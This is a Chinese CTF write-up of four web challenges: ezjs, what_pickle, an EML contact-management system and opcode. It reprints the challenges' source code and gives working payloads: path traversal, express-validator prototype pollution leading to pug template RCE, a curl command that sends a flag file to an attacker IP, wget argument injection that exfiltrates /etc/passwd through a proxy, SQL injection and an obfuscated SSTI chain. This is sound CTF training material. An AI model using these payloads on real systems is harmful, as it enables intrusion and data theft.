image-20210731221532699

[toc]

前言

这场比赛的 Web 全是 Python,PHP 已经不配登不上 CTF 的舞台了吗?

ezjs

进入题目是一个登录页:

image-20210731203623058

随便输入用户名密码即可登录:

image-20210731203648831

点击提交处抓包,发现可以读取文件:

image-20210731203853280

将源码依次读取出来:

1
2
/admin?newimg=../../../../../app/app.js
/admin?newimg=../../../../../app/routes/index.js
  • app.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var crypto = require('crypto');
var session = require('express-session');
var sessionStore = require('session-file-store')(session);
var key = 'session';


var indexRouter = require('./routes/index');
var app = express();
var secrets = crypto.randomBytes(32).toString('hex');
app.use(session({
name: key,
secret: secrets,
store: new sessionStore(),
saveUninitialized: false,
resave: false,
cookie: {
maxAge: 100 * 60 * 600
}

}));

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(logger('dev'));
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));

app.use('/', indexRouter);


// catch 404 and forward to error handler
app.use(function(req, res, next) {
next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
// set locals, only providing error in development
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};

// render the error page
res.status(err.status || 500);
res.render('error');
});

module.exports = app;
  • index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
var express = require('express');
var router = express.Router();
var {body, validationResult} = require('express-validator');
var crypto = require('crypto');
var fs = require('fs');
var validator = [
body('*').trim(),
body('username').if(body('username').exists()).isLength({min: 5})
.withMessage("username is too short"),
body('password').if(body('password').exists()).isLength({min: 5})
.withMessage("password is too short"),(req, res, next) => {
const errors = validationResult(req)
if (!errors.isEmpty()) {
return res.status(400).render('msg', {title: 'error', msg: errors.array()[0].msg});
}
next()
}
];

router.use(validator); // 使用刚才设置的 validator 作为中间件对传递的表单数据进行验证

router.get('/', function(req, res, next) {
return res.render('index', {title: "登录界面"});
});


router.post('/login', function(req, res, next) {
let username = req.body.username;
let password = req.body.password;
if (username !== undefined && password !== undefined) {

if (username == "admin" && password === crypto.randomBytes(32).toString('hex')) {
req.session.username = "admin";
} else if (username != "admin"){
req.session.username = username;


} else {
return res.render('msg',{title: 'error', msg: 'admin password error'});
}
return res.redirect('/verify');
}

return res.render('msg',{title: 'error',msg: 'plz input your username and password'});
});



router.get('/verify', function(req, res, next) {
console.log(req.session.username);
if (req.session.username === undefined) {
return res.render('msg', {title: 'error', msg: 'login first plz'});
}
if (req.session.username === "admin") {
req.session.isadmin = "admin";
} else {
req.session.isadmin = "notadmin";
}
return res.render('verify', {title: 'success', msg: 'verify success'});
});


router.get('/admin', function(req, res, next) {
//req.session.debug = true;

if (req.session.username !== undefined && req.session.isadmin !== undefined) {

if (req.query.newimg !== undefined) req.session.img = req.query.newimg;

var imgdata = fs.readFileSync(req.session.img? req.session.img: "./images/1.png");
var base64data = Buffer.from(imgdata, 'binary').toString('base64');

var info = {title: '我的空间', msg: req.session.username, png: "data:image/png;base64," + base64data, diy: "十年磨一剑😅v0.0.0(尚处于开发版"};


if (req.session.isadmin !== "notadmin") {

if (req.session.debug !== undefined && req.session.debug !== false) info.pretty = req.query.p;
if (req.query.diy !== undefined) req.session.diy = req.query.diy;
info.diy = req.session.diy ? req.session.diy: "尊贵的admin";
return res.render('admin', info);
} else {
return res.render('admin', info);
}
} else {
return res.render('msg', {title: 'error', msg: 'plz login first'});
}
});

module.exports = router;

可以看到代码中使用了 express-validator 模块,并且通过读取 package.json 发现 express-validator 的版本为 6.0.0,该版本的 express-validator 存在一个原型链污染漏洞,详情请参考以下文章:

再看到以下代码:

1
2
3
4
5
if (req.session.isadmin !== "notadmin") {
......
if (req.session.debug !== undefined && req.session.debug !== false) info.pretty = req.query.p;
......
return res.render('admin', info);

req.session.isadmin 不等于 notadminreq.session.debug 不等于空值或者 False 时,将 info.pretty 赋为 req.query.p。这里的 info.pretty = req.query.p 十分可疑,很可能是要我们利用之前爆出的 pug 模板引擎 RCE 的漏洞 CVE-2021-21353,详情请看:https://github.com/pugjs/pug/issues/3312。而要利用这里的 RCE,首先我们需要绕过 req.session.isadminreq.session.debug 这两个限制,由于我们无法修改 session,所以我们只能用 express-validator 的原型链污染来修改了。

文章中给出的 Payload 如下:

1
{"\"].__proto__[\"mads": "123 "}

经过不断修改 Payload 格式,发现如下格式的 Payload 可以正确污染:

1
"].__proto__["isadmin

于是,先输入任意账户密码登陆并抓包,注意不要跳转到 /verify 路由:

image-20210731205708237

然后使用刚才的 payload 分别污染 isadmin 和 debug 两个值为空字符串:

1
2
"].__proto__["isadmin
"].__proto__["debug

image-20210731205838508

image-20210731205915466

由于源码中检测部分并未检测 isadmindebug 两个值与什么值相等,而是只检测 isadmindebug 两个值与某个值不等,所以将 isadmindebug 两个值变成空字符串可以绕过判断,进入 admin 这里的逻辑:

image-20210731210008764

如上图可见,成功变成了 admin,然后参考 https://github.com/pugjs/pug/issues/3312 这里讲的 Pug 模板引擎 RCE 读取 flag,没有回显,需要外带:

1
/admin?p=');process.mainModule.constructor._load('child_process').exec('curl http://47.xxx.xxx.72:2333/?a=`tac /root/flag.txt|base64`');_=('

image-20210731210139699

解密即可得到 flag。

what_pickle

进入题目,随便输入用户名密码即可登录:

image-20210731164111260

image-20210731164235478

发现 flask session:

1
eyJpbmZvIjp7IiBiIjoiWjBGT2Fsa3lPWFZhYld4dVEyNVdlbHBZU1V0alVVRndaMWhGUW1aWVJVTkxSbWRKUVVGQlFXUllUbXhqYlRWb1lsZFdlRUV4WjBGQlFVRkJZMUZTV1VKQlFVRkJSMUpvWkVkR2VFSlhaMFZrVjBsMSJ9fQ.YQUMqw.gVqWESiIcvM4Ml0wWrrzaZQDvLs

解密:

image-20210731164314765

1
{'info': b'gANjY29uZmlnCnVzZXIKcQApgXEBfXECKFgIAAAAdXNlcm5hbWVxA1gGAAAAYXdkYXdkcQRYBAAAAGRhdGFxBVgGAAAAYXdkYXdkcQZ1Yi4='}

里面的 info 的值是一串 base64,解密后是一串乱码,再观察题目中的“pickle”,联想到 Python 反序列化。这可能就是先经过 Pickle 序列化然后再进行 base64 加密的数据。那我们便可以将我们 Pickle 序列化后的 Payload 进行 base64 加密,然后放入到伪造的 flask session 中,当服务器再获取我们 flask session 并进行反序列化时,便会触发 Payload。既然要伪造 flask session,那我们便要拿到 SECRET_KEY。

在图片处发现一个类似任意文件读取的地方:

1
/images?image=1.jpg

去掉 ?image=1.jpg 后报错,发现开启了 Debug:

image-20210731164505090

可以读取到以下源码:

1
2
3
4
5
6
7
8
9
10
11
@app.route('/images')
def images():
command=["wget"]
argv=request.args.getlist('argv')
true_argv=[x if x.startswith("-") else '--'+x for x in argv]
image=request.args['image']
command.extend(true_argv)
command.extend(["-q","-O","-"])
command.append("http://127.0.0.1:8080/"+image)
image_data = subprocess.run(command,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
return image_data.stdout

可知这里是通过执行 wget 命令来读取位于服务器 8080 端口上的图片的,并且传递的参数可控,那我们便可以通过 http_proxy 设置代理服务器指向我们的 VPS,通过 --body-file 指定读取任意文件,将读取的结果外带出来:

1
/images?image=1.jpg&argv=-e http_proxy=http://47.101.57.72:2333&argv=--method=POST&argv=--body-file=/etc/passwd

image-20210731164733858

如上图所示,读取成功,然后依次读取源码:

  • app.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from flask import Flask, request, session, render_template, url_for,redirect
import pickle
import io
import sys
import base64
import random
import subprocess
from ctypes import cdll
from config import SECRET_KEY, notadmin,user

cdll.LoadLibrary("./readflag.so")

app = Flask(__name__)
app.config.update(dict(
SECRET_KEY=SECRET_KEY,
))

class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()


@app.route('/')
@app.route('/index')
def index():
if session.get('username', None):
return redirect(url_for('home'))
else:
return render_template('index.html')

@app.route('/login', methods=["POST"])
def login():
name = request.form.get('username', '')
data = request.form.get('data', 'test')
User = user(name,data)
session["info"]=base64.b64encode(pickle.dumps(User))
return redirect(url_for('home'))

@app.route('/home')
def home():
info = session["info"]
User = restricted_loads(base64.b64decode(info))
Jpg_id = random.randint(1,5)
return render_template('home.html',id = str(Jpg_id), info = User.data)


@app.route('/images')
def images():
command=["wget"]
argv=request.args.getlist('argv')
true_argv=[x if x.startswith("-") else '--'+x for x in argv]
image=request.args['image']
command.extend(true_argv)
command.extend(["-q","-O","-"])
command.append("http://127.0.0.1:8080/"+image)
image_data = subprocess.run(command,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
return image_data.stdout

if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=80)
  • config.py
1
2
3
4
5
6
7
8
9
10
11
12
13
SECRET_KEY="On_You_fffffinddddd_thi3_kkkkkkeeEEy"

notadmin={"admin":"no"}

class user():
def __init__(self, username, data):
self.username = username
self.data = data

def backdoor(cmd):
if isinstance(cmd,list) and notadmin["admin"]=="yes":
s=''.join(cmd)
eval(s)

后面的 pickle 需要手搓。。。

eml管理系统

image-20210731180746001

访问 www.zip 下载源码,是个 EML 企业通讯录管理系统,该版本的 EML 企业通讯录管理系统存在一个未授权访问和一个 SQL 注入,详情参考这里:http://diego.team/2021/02/22/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-EML-MKCMS/。

发现在 you_never_guess_it\23333\7777 目录下有个 xxxxx.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?PHP
// 通往新世界的大门
// 没有内网主机
$URL = $_GET['url'];
$CH = curl_init();
curl_setopt($CH, CURLOPT_URL, $URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($CH, CURLOPT_FOLLOWLOCATION, TRUE);
$RES = curl_exec($CH);
curl_close($CH) ;
echo $RES;
?>

应该存在一个 SSRF,但是这个 xxxxx.php 却访问不到。在action.user.php 中发现提示,说根目录里有个 hint.txt:

image-20210731211352746

然后按照上面文章里 Payload 直接进行注入读取 /hint.txt:

1
/index.php?action=user&do=&_SESSION[isLogin]=1&search=union/**/select/**/1,load_file(0x2F68696E742E747874),3,load_file(0x2F68696E74),5,6,7,8,9,10,11,12,13,14,15

image-20210731170946174

得到那个 SSRF 文件的路径: 5351bf7271abaa/267e03c9ef6393f13/e03c9ef/67e03c9.php,然后扫常用端口,发现 5000 端口有 SSTI,有过滤,使用 attr() 一把索:

1
http://eci-2ze1okxxdjruz6sjbnvx.cloudeci1.ichunqiu.com/5351bf7271abaa/267e03c9ef6393f13/e03c9ef/67e03c9.php?url=http://127.0.0.1:5000/calc?num={{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(258)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0061\u0074\u0020\u002f\u0066\u0066\u0031\u0031\u0031\u0031\u0034\u0034\u0034\u0034\u0034\u0067\u0067")|attr("\u0072\u0065\u0061\u0064")()}}

image-20210731170723659

得到 flag。

opcode

进入题目,是一个登录框,也是随便输入即可登录:

image-20210731172307191

登录时抓包,发现修改 imagePath 的值可以读取文件:

image-20210731172317191

读取到源码 app.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from flask import Flask
from flask import request
from flask import render_template
from flask import session
import base64
import pickle
import io
import builtins

class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit', 'map'}
def find_class(self, module, name):
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def loads(data):
return RestrictedUnpickler(io.BytesIO(data)).load()


app = Flask(__name__)

app.config['SECRET_KEY'] = "y0u-wi11_neuer_kn0vv-!@#se%32"

@app.route('/admin', methods = ["POST","GET"])
def admin():
if('{}'.format(session['username'])!= 'admin' and str(session['username'] , encoding = "utf-8")!= 'admin'):
return "not admin"
try:
data = base64.b64decode(session['data'])
if "R" in data.decode():
return "nonono"
pickle.loads(data)
except Exception as e:
print(e)
return "success"

@app.route('/login', methods = ["GET","POST"])
def login():
username = request.form.get('username')
password = request.form.get('password')
imagePath = request.form.get('imagePath')
session['username'] = username + password
session['data'] = base64.b64encode(pickle.dumps('hello' + username, protocol=0))
try:
f = open(imagePath,'rb').read()
except Exception as e:
f = open('static/image/error.png','rb').read()
imageBase64 = base64.b64encode(f)
return render_template("login.html", username = username, password = password, data = bytes.decode(imageBase64))

@app.route('/', methods = ["GET","POST"])
def index():
return render_template("index.html")
if __name__ == '__main__':
app.run(host='0.0.0.0', port='8888')

还是手搓。。。